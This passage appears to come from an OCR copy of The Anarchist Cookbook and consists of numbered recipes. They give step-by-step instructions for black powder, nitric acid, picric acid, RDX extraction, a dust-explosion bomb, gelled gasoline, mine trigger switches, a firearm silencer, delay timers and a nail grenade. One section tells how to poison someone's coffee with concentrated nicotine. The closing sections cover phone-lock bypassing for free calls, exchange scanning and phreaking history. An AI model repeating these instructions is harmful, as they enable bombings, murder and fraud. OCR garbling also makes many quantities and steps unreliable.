• Alcohol, 5 pints (2-« liters) (whiskey, rubbing alcohol, etc.) 

• Water, 3 cups (3/4 liter) 

• Heat source 

• 2 buckets - each 2 gallon (7-« liters) capacity, at least one of which is heat resistant (metal, ceramic, etc.) 

• Flat window screening, at least 1 foot (30 cm) square 

• Large wooden stick 

• Cloth, at least 2 feet (60 cm) square 

Procedure: 

1 .Place alcohol in one of the buckets. 

2. Place potassium nitrate, charcoal, and sulfur in the heat resistant bucket. Add 1 cup water and mix thoroughly with wooden stick until all 

ingredients are dissolved. 

3. Add remaining water (2 cups) to mixture. Place bucket on heat source and stir until small bubbles begin to form. 

• CAUTION: DO NOT boil mixture. Be sure ALL mixture stays wet. If any is dry, as on sides of pan, it may ignitel 

4. Remove bucket from heat and pour mixture into alcohol while stirring vigorously. 

5. Let alcohol mixture stand about 5 minutes. Strain mixture through cloth to obtain black powder. Discard liquid. Wrap cloth around black 

powder and squeeze to remove all excess liquid. 
e.Place screening over dry bucket. Place workable amount of damp powder on screen and granulate by rubbing solid through screen. NOTE: If 

granulated particles appear to stick together and change shape, recombine entire batch of powder and repeat steps 5 & 6. 
7.Spread granulated black powder on flat, dry surface so that layer about « inch (1— ■ cm) is formed. Allow to dry. Use radiator, or direct 

sunlight. This should be dried as soon as possible, preferably in an hour. The longer the drying period, the less effective the black 

powder. 

• CAUTION: Remove from heat AS SOON AS granules are dry. Black powder is now ready to use. 
133.Nltric Acid bv The Jolly Roger 

Nitric Acid is used in the preparation of many explosives, incendiary mixtures, and acid delay timers. It may be prepared by distilling a mixture of 
potassium nitrate and concentrated sulfuric acid. 

Material Required: 

• Potassium Nitrate (2 parts by volume) 

• CONCENTRATED sulfuric acid (1 part by volume) 

• 2 bottles or ceramin jugs (narrow necks are preferable) 

• Pot or frying pan 

• Heat source (wood, charcoal, or coal) 

• Tape (paper, electrical, masking, but NOT cellophanel) 

• Paper or rags 

IMPORTANT: If sulfuric acid is obtained from a motor vehicle battery, concentrate it by boiling it UNTIL white fumes appear. DO NOT INHALE 

FUMES. 

NOTE: The amount of nitric acid produced is the same as the amount of potassium nitrate. Thus, for two tablespoons of nitric acid, use 2 
tablespoons of potassium nitrate and 1 tablespoonful of concentrated sulfuric acid. 

Source of Potassium Nitrate: 

• Elsewhere in this Cookbook 

• Drug stores 



Source of CONCENTRATED sulfuric acid: 

• Motor vehiicle batteries 

• Industrial plants 

Procedure: 

1 .Place dry potassium nitrate in bottle or jug. Add sulfuric acid. Do not fill the bottle more than full. Mix until paste is formed. 

• CALTTION: DO NOT INHALE FUMES! 

2.Wrap paper or rags around necks of two bottles, securely tape necks of two bottles together. Be sure that bottles are flush against each 

other and that there are no air spaces. 
S.Support bottles on rocks or cans so that empty bottle is SLIGHTLY lower than bottle containing paste so that nitric acid that is formed in 

receiving bottle will not run into other bottle. 

4. Build fire in pot or frying pan. 

5. Gently heat bottle containing mixture by gently moving fire in and out. As red fumes begin to appear periodically pour cool water over empty 

receiving bottle. Nitric acid will begin to form in receiving bottle. 

• CAUTION: Do not overheat or wet bottle containing mixture or it may shatter. As an added precaution, place bottle to be heated 
in heat resistant container filled with sand or gravel. Heat this outer container to produce nitric acid. 

e.Continue the above process until no more red fumes are formed. If the nitric acid formed in the receiving bottle is not clear (cloudy) pour it into 
cleaned bottle and repeat steps 2-6. 

• CAUTION: Nitric acid should be kept away from all combustibles and should be kept in a SEALED CERAMIC OR GLASS 
container. DO NOT inhale fumes! 



134.Dust Bomb Instructions by The Jolly Roger 

An initiator which will initiate common material to produce dust explosions can be rapidly and easily constructed. This type of charge is ideal for 
the destruction of enclosed areas such as rooms or buildings. 

Material Required: 

• A flat can, 3 in. (8 cm) in diameter and 1 - « in. (3-3/4 cm) high. A 6-" ounce tuna can serves the purpose quite well. 

• Blasting cap 

• Explosive 

• Aluminum (may be wire, cut sheet, flattened can, or powder) 

• Large nail, 4 in. (10 cm) long 

• Wooden rod - in. (6 mm) diameter 

• Flour, gasoline, and powder or chipped aluminum 

NOTE: Plastic explosive produce better explosions than cast explosives. 
Procedure: 

1 .Using the nail, press a hole through the side of the tuna can 3/8 inch to « inch (1 to 1 -« cm) from the bottom. Using a rotating and lever action, 
enlarge the hole until it will accommodate the blasting cap. 

2. Place the wooden rod in the hole and position the end of the rod at the center of the can. 

3. Press explosive into the can, being sure to surround the rod, until it is 3/4 inch (2 cm) from the top of the can. Carefully remove the wooden 

rod. 

4. Place the aluminum metal on top of the explosive. 

5 Just before use, insert the blasting cap into the cavity made by the rod. The initiator is now ready to use. 

NOTE: If it is desired to carry the initiator some distance, cardboard may 
be pressed on top of the aluminum to insure against loss of material. 

How to Use: 

This particular unit works quite well to initiate charges of five pounds of flour, « gallon (1-2/3 liters) of gasoline, or two pounds of flake painters 
aluminum. The solid materials may merely be contained in sacks or cardboard cartons. The gasoline may be placed in plastic coated paper milk 
cartons, as well as plastic or glass bottles. The charges are placed directly on top of the initiator and the blasting cap is actuated electrically or 
by a fuse depending on the type of cap employed, this will destroy a 2,000 cubic feet enclosure (building 10 x 20 x 10 feet). 

Note: For larger enclosures, use proportionally larger initiators and charges. 



135.Carbon-Tet Explosive 



by The Jolly Roger 



A moist explosive mixtLre can be made from fine aluminum powder combined with carbon tetrachloride or tetrachloroethylene. This explosive 
can be detonated with a blasting cap. 

Material Required: 

• Fine aluminum bronzing powder 

• Carbon Tetrachloride or Tetrachloroethylene 

• Stirring rod (wood) 

• Mixing container (bowl, bucket, etc.) 

• Measuring container (cup, tablespoon, etc.) 

• Storage container (jar, can, etc.) 

• Blasting cap 

• Pipe, can or jar 

Source of Carbon Tetrachloride: 

• Paint store 

• Pharmacy 

• Fire extinguisher fluid 

Source of Tetrachloroethylene: 

• Dry cleaners 

• Pharmacy 

Procedure: 

1 .Measure out two parts aluminum powder to one part carbon tetrachloride or tetrachlorethylene liquid into mixing container, adding liquid to 

powder while stirring with the wooden rod. 
2.Stir until the mixture becomes the consistency of honey syrup. 

• CAUTION: Fumes from the liquid are dangerous and should not be inhaled. 
S.Store explosive in a jar or similar water proof container until ready to use. The liquid in the mixture evaporates quickly when not confined . 
NOTE: Mixture will detonate in this manner for a period of 72 hours. 

How to Use: 

1 .Pour this mixture into an iron or steel pipe which has an end cap threaded on one end. If a pipe is not available, you may use a dry tin can or 
glass jar. 

2. Insert blasting cap just beneath the surface of the explosive mix. 

NOTE: Confining the open end of the container will add to the effectiveness of the explosive. 



136.Making Picric Acid from Aspirin by The Jolly Roger 

Picric Acid can be used as a booster explosive in detonators, a high explosive charge, or as an intermediate to preparing lead picric. 
Material Required: 

• Aspirin tablets (5 grains per tablet) 

• Alcohol, 95% pure 

• Sulfuric acid, concentrated, (if battery acid, boil until white fumes disappear) 

• Potassium Nitrate (see elsewhere in this Cookbook) 

• Water 

• Paper towels 

• Canning jar, 1 pint 

• Rod (glass or wood) 

• Glass containers 

• Ceramic or glass dish 

• Cup 

• Teaspoon 

• Tablespoon 

• Pan 

• Heat source 



Tape 



Procedure: 

I .Crush 20 aspirin tablets in a glass container. Add 1 teaspoon of water and work into a paste. 
2.Add approximately 1/3 to « cup of alcohol (100 milliliters) to the aspirin paste; stir while pouring. 

S.Filter the alcohol-aspirin solution through a paper towel into another glass container. Discard the solid left in the paper towel. 

4. Pour the filtered solution into a glass or ceramic dish. 

5. Evaporate the alcohol and water from the solution by placing the dish into a pan of hot water. White powder will remain in the dish after 

evaporation. 

• NOTE: The water in the pan should be at hot bath temperature, not boiling, approx 1 60izF to 1 80eF. It should not burn the hands. 

e.Pour 1/3 cup (80 milliliters) of concentrated sulfuric acid into a canning jar. Add the white powder to the sulfuric acid. 

7.Heat canning jar of sulfuric acid in a pan of simmering hot water bath for 15 minutes; then remove jar from the bath. Solution will turn to a 

yellow -orange color. 

S.Add 3 level teaspoons (15 grams) of potassium nitrate in three portions to the yellow -orange solution; stir vigorously during additions. 

Solution will turn red, then back to a yellow-orange color. 
9.AII0W the solution to cool to ambient room temperature while stirring occasionally. 
1 0.SIowly pour the solution, while stirring, into 1— ■ cup (300 milliliters) of cold water and allow to cool. 

I I .Filter the solution through a paper towel into a glass container. Light yellow particles will collect on the paper towel. 

12. Wash the light yellow particles with 2 tablespoons (25 milliliters) of water. Discard the waste liquid in the container. 

13. Place articles in ceramic dish and set in a hot water bath, as in step 5, for 2 hours. 



137. Reclamation of RDX from C-4 Explosives by the Jolly Roger 

RDX can be obtained from G4 explosives with the use of gasoline. It can be used as a booster explosive for detonators or as a high explosive 
charge. 

Material Required: 

• Gasoline 

• C-4 explosive 

• 2 - pint glass jars, wide mouth 

• Paper towels 

• Stirring rod (glass or wood) 

• Water 

• Ceramic or glass dish 

• Pan 

• Heat source 

• Teaspoon 

• Cup 

• Tape 

NOTE: Water, Ceramic or glass dish, pan, & heat source are all optional. The RDX can be air dried instead. 
Procedure: 

1 .Place 1-« teaspoons (15 grams) of C-4 explosive in one of the pint jars. Add 1 cup (240 milliliters) of gasoline. 

• NOTE: These quantities can be increased to obtain more RDX. For example, use 2 gallons of gasoline per 1 cup of C-4. 

2. Knead and stir the G4 with the rod until the C-4 has broken down into small particles. Allow mixture to stand for « hour. 
3.Stir the mixture again until a fine white powder remains on the bottom of the jar. 

4. Filter the mixture through a paper towel into the other glass jar. Wash the particles collected on the paper towel with « cup (120 milliliters) of 

gasoline. Discard the waste liquid. 

5. Place the RDX particles in a glass or ceramic dish. Set the dish in a pan of hot water, not boiling and dry for a period of 1 hour. 

• NOTE: The RDX particles may be air dried for a period of 2 to 3 hours. 

138. Egg-based Gelled Flame Fuels by The Jolly Roger 

The white of any bird egg can be used to gel gasoline for use as a flame fuel which will adhere to target surfaces. 
Materials Required: 



Parts by Volume 

85 



Ingredient 

Gasoline 



How used 

Motor Fuel 
Stove Fuel 
Solvent 



Common Source 

Gas Stations 
Motor Vehicle 



14 



Egg Whites 



Food 

Industrial 

Processes 



Food Store 
Farms 



Any one of the following: 
1 



Table Salt 



Food 

Industrial 

Processes 



Sea Water 
Natural Brine 
Food Store 



Ground Coffee 



Food 



Coffee Plant 
Food Store 



Dried Tea Leaves 



Food 



Tea Plant 
Food Store 



Cocoa 



Sugar 



Food 



Sweetening 
Foods 



Cacao Tree 
Food Store 

Sugar Cane 
Food Store 



Saltpeter 

(Potassium Nitrate) 



Epsom Salts 



Washing Soda 
(Sal Soda) 



Pyrotechnics 
Explosives 
Matches 
Medicine 

Medicine 
Mineral Water 
Industrial 
Processes 

Washing Cleaner 

Medicine 

Photography 



Natural 
Deposits 
Drug Store 



Natural 
Kisserite 
Drug Store 
Food Store 

Food Store 
Drug Store 
Photo Supply 
Store 



Baking Soda 



Baking 
Beverages 
Medicines 
Mineral Waters 



Food Store 
Drug Store 



Aspirin 



Medicine 



Drug Store 
Food Store 



Procedure: 

CAUTION: Make sure that there are no open flames In the area when mixing flame fuelsl NO SMOKING!! 

1 .Separate the egg white from the yolk. This can be done by breaking the egg into a dish and carefully removing the yolk with a spoon. 

2. Pour egg white into a jar, bottle, or other container, and add gasoline. 

3. Add the salt (or other additive) to the mixture and stir occasionally until gel forms (about 5 to 10 minutes). 

NOTE: A thicker gelled flame fuel can be obtained by putting the capped jar In hot (650C) water for about « hour and then letting them cool to 
room temperature. (DO NOT HEAT THE GELLED FUEL CONFTAINING COFFEE!!) 



139.Clothespln Switch 



by The Jolly Roger 



A spring type clothespin is used to make a circuit closing switch to actuate explosive charges, mines, boobytraps, and alarm systems. 



Material Required: 

• Spring type clotliespin 

• Sold copper wire -- 1/16 in. (2 mm) in diameter 

• Strong string on wire 

• Flat piece of wood (roughly 1 /8 x 1 " x 2") 

• Knife 



Procedure: 

1 .Strip four in. (10 cm) of insulation from the ends of 2 solid copper wires. Scrape the copper wires with pocket knife until the metal is shiny. 
2.Wind one scraped wire tightly on jaw of the clothespin, and the other wire on the other jaw. 
S.IVIake a hole in one end of the flat piece of wood using a knife, heated nail or drill. 

4. Tie strong string or wire through the hole. 

5. Place flat piece of wood between the jaws of the clothespin switch. 



Basic Firing Circuit: 



initiator |- \ | strong 

I I twine 

I I \ 



I I \clothespin 

/ 

\ / switch 

\ / 
\ / 

\ / 

+ 



I battery! 



When the flat piece of wood is removed by pulling the string, the jaws of the clothespin will close, completing the circuit. 

CAUTION: Do not attach the battery until the switch and trip wire have been emplaced and examined. Be sure that the flat piece of wood is 
separating the jaws of the switch. 



140.Flexible Plate Switch by The Jolly Roger 

This flexible plate switch is used fa initiating emplaced mines and explosives. 

Material Required: 

• Two flexible metal sheets: 

• One approximately 10 in. (25 cm) square 

• One approximately 1 0 in. x 8 in. (20 cm) 

• Piece of wood 1 0 in. square x 1 in. thick 

• Four soft wood blocks 1 in. x 1 in. x -i in. 

• Eight flat head nails, 1 in. long 

• Connecting wires 

• Adhesive tape 

Procedure: 

1 .Nail 1 0 in. by 8 in. metal sheet to 1 0 in. square piece of wood so that 1 in. of wood shows on each side of the metal. Leave one of the nails 
sticking up about -■ in. 

2.Strip insulation from the end of one connecting wire. Wrap this end around the nail and drive the nail all the way in. 

3. Place the four wood blocks on the corners of the wood base. 

4. Place the 1 0 in. square flexible metal sheet so that it rests on the blocks in line with the wood base. 

5. Drive four nails through the metal sheet and the blocks (1 per block) to fasten the sheet to the wood base. A second connecting wire is 

attached to one of the nails as in step #2. 



e.Wrap the adhesive tape around the edges of the plate and wood base. This will assure that no dirt or other foreign matter will get between 
the plates and prevent the switch from operating. 

How to use: 

The switch is placed in a hole in the path of expected traffic and covered with a thin layer of dirt or other camouflaging material. The mine or 
other explosive device connected to the switch can be buried with the switch or emplaced elsewhere as desired. 

When a vehicle passes over the switch, the two metal plates make contact closing the firing circuit. 

141 .Low Signature Systems (Silencers) by Thie Jolly Roger 

Low signature systems (silencers) for improvised small arms weapons can be made from steel gas or water pipe and fittings. 

Material Required: 

• Grenade Container 

• Steel pipe nipple, 6 in. (15 cm) long - (see table 1 for diameter) 

• 2 steel pipe couplings - (see table 2 for dimensions) 

• Cotton cloth - (see table 2) 

• Drill 

• Absorbent cotton 
Procedure: 

1 .Drill hole in grenade container at both ends to fit outside diameter of pipe nipple, (see table 1) 

> / \ 

/ I I 
2.75 in I ) ( <-holes 

dia. \ I I 

-> V / 

h I 

5 in. 

2.Drill four rows of holes in pipe nipple. Use table 1 for diameter and location of holes. 

(Note: I suck at ASCII arti) 

6 in. 

I I 



lOOOOOOOOOOOOOOOOOl |C(nom.dia.) 



(size of hole) | \ / (space between) 

B (dia.) A 

S.Thread one of the pipe couplings on the drilled pipe nipple. 

4. Cut coupling length to allow barrel of weapon to thread fully into low signature system. Barrel should butt against end of the drilled pipe 

nipple. 

5.Separate the top half of the grenade container from the bottom half. 

e.lnsert the pipe nipple in the drilled hole at the base of the bottom half of the container. Pack the absorbent cotton inside the container and 
around the pipe nipple. 

y.Pack the absorbent cotton in top half of grenade container leaving hole in center. Assemble container to the bottom half. 

5. Thread the other coupling onto the pipe nipple. 

Note: A longer container and pipe nipple, with same "A" and "B" dimensions as those given, will further reduce the signature of the system. 

How to use: 

1 .Thread the low signature system on the selected weapon securely. 

2. Place the proper cotton wad size into the muzzle end of the system (see table 2) 

S.Load weapon 

4.Weapon is now ready for use 



TABLE 1 

Low Signature System Dimensions 





A 


B 


C 


.45cal 


3/8in 


-iin 


3/8in 


.38 cal 


3/8in 


-iin 


-iin 


9rnm 


3/8in 


-iin 


-iin 


7.62 mm 


3/8in 


-iin 


-iin 


.22 cal 


-iin 


5/32in 


1/8*in 



* Extra Heavy Pipe 



Coupling 


Holes per 


4 rows 


D 


Row 


Total 


3/8in 


12 


48 


-iin 


12 


48 


-iin 


12 


48 


-iin 


12 


48 


1/8in 


14 


50 



Weapon Cotton Wadding Size 

.45 cal 1-«x 6 inches 

.38 cal 1x4 inches 

9 mm 1 X 4 inches 

7.62 mm 1 x 4 inches 

.22 cal Not needed 



TABLE 2 
Cotton Wadding Sizes 



142.Delav Igniter from a Cigarette by The Jolly Roger 

A simple and economical (everyone wants to save money haha) time delay can be made with a common cigarette. 

Materials Required: 

• Cigarette 

• Paper match 

• String (shoelace or similar cord) 

• Fuse cord (improvised or commercial) 

Procedure: 

1 .Cut end of fuse cord at a slant to expose inner core 

2.Light cigarette in normal fashion. Place a paper match so that the had is over exposed end of fuse cord and tie both to the side of the burning 
cigarette with string. 

S.Position the burning cigarette with fuse so that it burns freely. A suggested method is to hang the delay on a twig. 

Note: Common dry cigarettes burn about 1 inch every 7 or 8 minutes in still air. (Now I am talking about all except American brands, which burn 
about 1 inch every 4-5 minutes) If the fuse cord is place one inch from the burning end of the cigarette a time delay of 7 or 8 minutes will result. 

Delay time will vary depending upon type of cigarette, wind, moisture, and other atmospheric conditions (get to know your cigarette!) To obtain 
accurate delay time, a test run should be made under "use" conditions. 



143.Nicotine by The Jolly Roger 

Nicotine is an abundant poison. Easily found in tobacco products, in concentrated form a few drops can quickly kill someone. Here is how to 
concentrate it: 

First get a can of chewing tobacco or pipe tobacco. Remove the contents and soak in water overnight in a jar (about 2/3 cup of water will 
do...). In the morning, strain into another jar the mixture through a porous towel. Then wrap the towel around the ball of tobacco and squeeze it 
until all of the liquid is in the jar. Throw away the tobacco-you will not need it anymore. 

Now you have two options. I recommend the first. It makes the nicotine more potent. 

1 .Allow to evaporate until a sticky syrup results in the jar. This is almost pure nicotine (hell, it is pure enough for sure!). 
2.Heat over low flame until water is evaporated and a thick sticky syrup results (I don't know how long it takes... shouldn't take too 
long, though.). 

Now all you have to do, when you wish to use it, is to put a few drops in a medicine dropper or equivalent, and slip about 4 or 5 drops into the 
victim's coffee. Coffee is recommended since it will disguise the taste. Since nicotine is a drug, the victim should get quite a buzz before they 
turn their toes up to the daisies, so to speak. 

Note: If the syrup is too sticky, dilute it with a few drops of water. And while you are at it, better add an extra drop to the coffee just to be 
sure! 



144.Driecl Seed Timer 



by The Jolly Roger 



A time delay device for electrical firing circuits can be made using the principle of expansion of dried seeds. 
Material Required: 

• Dried peas, beans, or other dehydrated seeds 

• Wide-mouth glass jar with non-metal cap 

• Two screws or bolts 

• Thin metal plate 

• Hand drill 

• Screwdriver 

Procedure: 

1 .Determine the rate of the rise of the dried seeds selected. This is necessary to determine the delay time of the timer. 

• Place a sample of the dried seeds in the jar and cover with water. 

• Measure the time it tal<es for the seeds to rise a given height. Most dried seeds increase 50% in one to two hours. 
2.Cut a disc from thin metal plate. Disc should fit loosely inside the jar. 

NOTE: If metal is painted, rusty, or othenwise coated, it must be scraped or sanded to obtain a clean metal surface 

S.Drill two holes in the cap of the jar about 2 inches apart. Diameter of holes should be such that screws or bolts will thread tightly into them. If 
the jar has a metal cap or no cap, a piece of wood or plastic (NOT METAL) can be used as a cover. 

4. Turn the two screws or bolts through the holes in the cap. Bolts should extend about one in. (2 « cm) into the jar. 

IMPORTANT: Both bolts must extend the same distance belowthe container cover. 

5. Pour dried seeds into the container. The level will depend upon the previously measured rise time and the desired delay. 

6. Place the metal disc in the jar on top of the seeds. 

How to use: 

1 .Add just enough water to completely cover the seeds and place the cap on the jar. 
2.Attach connecting wires from the firing circuit to the two screws on the cap. 

Expansion of the seeds will raise the metal disc until it contacts the screws and closes the circuit. 
145.Nall Grenade by The Jolly Roger 

Effective fragmentation grenades can be made from a block of TNT or other blasting explosive and nails. 
Material Required: 

• Block of TNT or other blasting explosive 

• Nails 

• Non-electric (military or improvised) blasting cap 

• Fuse Cord 

• Tape, string, wire, or glue 

Procedure: 

1.lf an explosive charge other than a standard TNT block is used, make a hole in the center of the charge for inserting the blasting cap. TNT 
can be drilled with relative safety. With plastic expiosives, a hole can be made by pressing a round stick into the center of the charge. The 
hole should be deep enough that the biasting cap is totally within the expiosive. 

2. Tape, tie, or glue one or two rows of closely packed nails to the sides of the explosive block. Nails should completely cover the four 

surfaces of the block. 

3. Place blasting cap on one end of the fuse cord and crimp with pliers. 

NOTE: To find out how long the fuse cord should be, check the time it takes a known length to burn. If 1 2 inches (30 cm) burns for 30 seconds, 
a 1 0 second delay will require a 4 inch (1 0 cm) fuse. 

4.lnsert the blasting cap in the hole in the block of explosive. Tape or tie fuse cord securely in place so that it will not fall out when the grenade 
is thrown. 



Alternate Use: 



An effective directional anti-personnel mine can be made by placing nails on only one side of the explosive block. For the case, and electric 
blasting cap can be used. 



146.The Bell Glossary by The Jolly Roger 

ACD: Automatic Call Distributor - A system that automatically distributes calls to operator pools (providing services such as intercept and 

directory assistance), to airline ticket agents, etc. 

Administration: The tasks of record-keeping, monitoring, rearranging, prediction need for growth, etc. 

AIS: Automatic Intercept System - A system employing an audio- response unit under control of a processor to automatically provide pertinent 
info to callers routed to intercept. 

Alert: To indicate the existence of an incoming call, (ringing). 

ANI: Automatic Number Identification - Often pronounced "Annie," a facility for automatically identify the number of the calling party for charging 
purposes. 

Appearance: A connection upon a network terminal, as in "the line has two network appearances." 

Attend: The operation of monitoring a line or an incoming trunk for off-hook or seizure, respectively. 

Audible: The subdued "image" of ringing transmitted to the calling party during 
ringing; not derived from the actual ringing signal in later systems. 

Backbone Route: The route made up of final -group trunks between end offices in different regional center areas. 
BHC: Busy Hour Calls- The number of calls placed in the busy hour. 

Blocking: The ratio of unsuccessful to total attempts to use a facility; expresses as a probability when computed a priority. 

Blocking Network: A network that, under certain conditions, may be unable to form a transmission path from one end of the network to the 
other. In general, all networks used within the Bell Systems are of the blocking type. 

Blue Box: Equipment used fraudulently to synthesize signals, gaining access to the toll network for the placement of calls without charge. 

BORSCHT Circuit: A name for the line circuit in the central office. It functions as a mnemonic for the functions that must be performed by the 
circuit: Battery, Overvoltage, Ringing, Supervision, Coding, Hybrid, and Testing. 

Busy Signal: (Called-line-busy) An audible signal which, in the Bell System, comprises 480hz and 620hz interrupted at 601PM. 

Bylink: A special high-speed means used in crossbar equipment for routing calls incoming from a step-by-step office. Trunks from such offices 
are often referred to as "bylink" trunks even when incoming to noncrossbar offices; they are more properly referred to as "dc incoming 
trunks." Such high-speed means are necessary to assure that the first incoming pulse is not lost. 

Cable Vault: The point which phone cable enters the Central Office building. 

CAMA: Centraized Automatic Message Accounting - Pronounced like Alabama. 

CCIS: Common Channel Interoffice Signaling - Signaling information for trunk connections over a separate, nonspeech data link rather that over 
the trunks themselves. 

CCITT: International Telegraph and Telephone Consultative Committee- An International committee that formulates plans and sets standards for 
intercountry communication means. 

CDO: Community Dial Office - A small usually rural office typically served by step -by-step equipment. 

CO: Central Office - Comprises a switching network and its control and support equipment. Occasionally improperly used to mean "office 
code." 

Centrex: A service comparable in features to PBX service but implemented with some (Centrex CU) or all (Centrex CO) of the control in the 
central office. In the later case, each station's loop connects to the central office. 

Customer Loop: The wire pair connecting a customer's station to the central office. 



DDD: Direct Distance Dialing - Dialing without operator assistance over the nationwide intertoll network. 

Direct Trunk Group: A trunk group that is a direct connection between a given originating and a given terminating office. 

EOTT: End Office Toll Trunking - Trunking between end offices in different toll center areas. 

ESB: Emergency Service Bureau - A centralized agency to which 91 1 "universal" emergency calls are routed. 

ESS: Electronic Switching System - A generic term used to identify as a class, stored -program switching systems such as the Bell System's 
No.1 No.2, No.3, No.4, or No«. 

ETS: Electronic Translation Systems - An electronic replacement for the card translator in 4A Crossbar systems. Makes use of the SPC 1A 
Processor. 

False Start: An aborted dialing attempt. 

Fast Busy: (often called reorder) - An audible busy signal interrupted at twice the rate of the normal busy signal; sent to the originating station 
to indicate that the call blocked due to busy equipment. 

Final Trunk Group: The trunk group to which calls are routed when available high-usage trunks overflow; these groups generally "home" on an 
office next highest in the hierarchy. 

Full Group: A trunk group that does not permit rerouting off-contingent foreign traffic; there are seven such offices. 
Glare: The situation that occurs when a twoway trunk is seized more or less simultaneously at both ends. 

High Usage Trunk Group: The appellation for a trunk group that has alternate routes via other similar groups, and ultimately via a final trunk 
group to a higher ranking office. 

Intercept: The agency (usually an operator) to which calls are routed when made to a line recently removed from a service, or in some other 
category requiring explanation. Automated versions (ASI) with automatic voice response units are growing in use. 

Interrupt: The interruption on a phone line to disconnect and connect with another station, such as an Emergence Interrupt. 

Junctor: A wire or circuit connection between networks in the same office. The functional equivalent to an intraoffice trunk. 

MF: Multi- Frequency - The method of signaling over a trunk making use of the simultaneous application of two out of six possible frequencies. 

NPA: Numbering Plan Area. 

ONI: Operator Number Identification - The use of an operator in a CAMA office to verbally obtain the calling number of a call originating in an 
office not equipped with AMI. 

PBX: Private Branch Exchange - (PABX: Private Automatic Branch Exchange) An telephone office serving a private customer. Typically , 
access to the outside telephone network is provided. 

Pamanent Signal: A sustained off-hook condition without activity (no dialing or ringing or completed connection); such a condition tends to tie 
up equipment, especially in earlier systems. Usually accidental, but sometimes used intentionally by customers in high-crime -rate areas to 
thwart off burglars. 

POTS: Plain Old Telephone Service - Basic service with no extra "frills". 

ROTL: Remote Office Test Line - A means for remotely testing trunks. 

RTA: Remote Trunk Arrangement - An extension to the TSPS system permitting its services to be provided up to 200 miles from the TSPS site. 
SF: Single Frequency. A signaling method for trunks: 2600hz is impressed upon idle trunks. 
Supervise: To monitor the status of a call. 

SxS: (Step-by -Step or Strowger switch) - An electromechanical office type utilizing a gross-motion stepping switch as a combination network 

and distributed control. 

Talkoff: The phenomenon of accidental synthesis of a machine-intelligible signal by human voice causing an unintended response, "whistling a 
tone". 



Trunk: A path between central offices; in general 2-wire for interlocal, 4-wire for intertoll. 

TSPS: Traffic Service Position System - A system tfiat provides, under stored -program control, efficient operator assistance for toll calls. It 
does not switcfi the customer, but provides a bridge connection to the operator. 

X-bar: (Crossbar) - An electromechanical office type utilizing a "fine-motion" coordinate switch and a multiplicity of central controls (called 

markers). 

There are four varieties: 

• No.1 Crossbar: Used in large urban office application; (1938) 

• No.3 Crossbar: A small system started in (1 974). 

• N0.4A/4M Crossbar: A 4-wire toll machine; (1 943). 

• No« Crossbar: A machine originally intended for relatively small suburban applications; (1 948) 
Crossbar Tandem: A machine used for interlocal office switching. 



147.Phone Dial Locks -- How to Beat'em by The Jolly Roger 

Have you ever been in an office or somewhere and wanted to make a free phone call but some asshole put a lock on the phone to prevent 
out-going calls? Fret no more phellow phreak, for every system can be beaten with a little knowledge! 

There are two ways to beat this obstacle, first pick the lock, I don't have the time to teach locksmithing so we go to the second method which 
takes advantage of telephone electronics. 

To be as simple as possible when you pick up the phone you complete a circuit known as a local loop. When you hang up you break the circuit. 
When you dial (pulse) it also breaks the circuit but not long enough to hang up! So you can "Push-dial." To do this you »> RAPIDLY «< 
depress the switchhook. For example, to dial an operator (and then give her the number you want to call) »> RAPIDLY «< & »> EVENLY 
«< depress the switchhook 10 times. To dial 634-1268, depress 6 X'S pause, then 3 X'S, pause, then 4X'S, etc. It takes a little practice but 
you'll get the hang of it. Try practicing with your own # so you'll get a busy tone when right. It'll also work on toucfvtoneO since a DTMF line 
will also accept pulse. Also, never depress the switchhook for more than a second or It'll hang up! 

Finally, remember that you have just as much right to that phone as the asshole who put the lock on it! 



148.Exchanqe Scanning bv The Jollv Roger 

Almost every exchange in the bell system has test #'s and other "goodies" such as loops with dial-ups. These "goodies" are usually found 
between 9900 and 9999 in your local exchange. If you have the time and initiative, scan your exchange and you may become lucky! 

Here are some findings in the 914-268 exchange: 

9900 - ANI 

9901 - ANI 

9927 - OSC. TONE (POSSIBLE TONE SIDE OF A LOOP) 

9936 - VOICE # TO THE TELCO CENTRAL OFFICE 

9937 - VOICE # TO THE TELCO CENTRAL OFFICE 
9941 - COMPUTER (DIGITAL VOICE TRANSMISSION?) 

9960 - OSC. TONE (TONE SIDE LOOP) MAY ALSO BE A COMPUTER IN SOME EXCHANGES 

9961 - NO RESPONSE (OTHER END OF LOOP?) 

9962 - NO RESPONSE (OTHER END OF LOOP?) 

9963 - NO RESPONSE (OTHER END OF LOOP?) 
9966 - COMPLHER (SEE 9941) 

9968 - TONE THAT DISAPPEARS- RESPONDS TO CERTAIN TOUCH-TONE KEYS 

Most of the numbers between 9900 & 9999 will ring or go to a "what #, please?" operator. 



149.A Short History of Phreaking by The Jolly Roger 

Wei! now we know a iittle vocabuiary, and now its into history, Phreak history. Back at MIT in 1 964 arrived a student by the name of Stewart 
Nelson, who was extremeiy interested in the telephone. Before entering MIT, he had built autodialers, cheese boxes, and many more gadgets. 
But when he came to MIT he became even more interested in "fone-hacking" as they called it. After a little while he naturaliy started using the 



PDP1, the schools computer at that time, and from there he decided that it would be interesting to see whether the computer could generate 
the frequencies required for blue boxing. The hackers at MIT were not interested in ripping off Ma Bell, but just exploring the telephone 
network. Stew (as he was called) wrote a program to generate all the tones and set off into the vast network. 

Now there were more people phreaking than the ones at MIT. Most people have heard of Captain Crunch (No not the cereal), he also 
discovered how to take rides through the fone system, with the aid of a small whistle found in a cereal box (can we guess which one?). By 
blowing this whistle, he generated the magical 2600hz and into the mouthpiece it sailed, giving him complete control over the system. I have 
heard rumors that at one time he made about of the calls coming out of San Francisco. He got famous fast. He made the cover of people 
magazine and was interviewed several times (as you'll soon see). Well he finally got caught after a long adventurous career. After he was 
caught he was put in jail and was beaten up quite badly because he would not teach other inmates how to box calls. After getting out, he 
joined Apple computer and is still out there somewhere. 

Then there was Joe the Whistler, blind form the day he was born. He could whistle a perfect 2600hz tone. It was rumored phreaks used to call 
him to tune their boxes. 

Well that was up to about 1 970, then from 1 970 to 1 979, phreaking was mainly done by college students, businessmen and anyone who knew 
enough about electronics and the fone company to make a 555 Ic to generate those magic tones. Businessmen and a few college students 
mainly just blue box to get free calls. The others were still there, exploring 800#'s and the new ESS systems. ESS posed a big problem for 
phreaks then and even a bigger one now. BS was not widespread, but where it was, blue boxing was next to impossible except for the most 
experienced phreak. Today ESS is installed in almost all major cities and blue boxing is getting harder and harder. 

1978 marked a change in phreaking, the Apple ][, now a computer that was affordable, could be programmed, and could save all that precious 
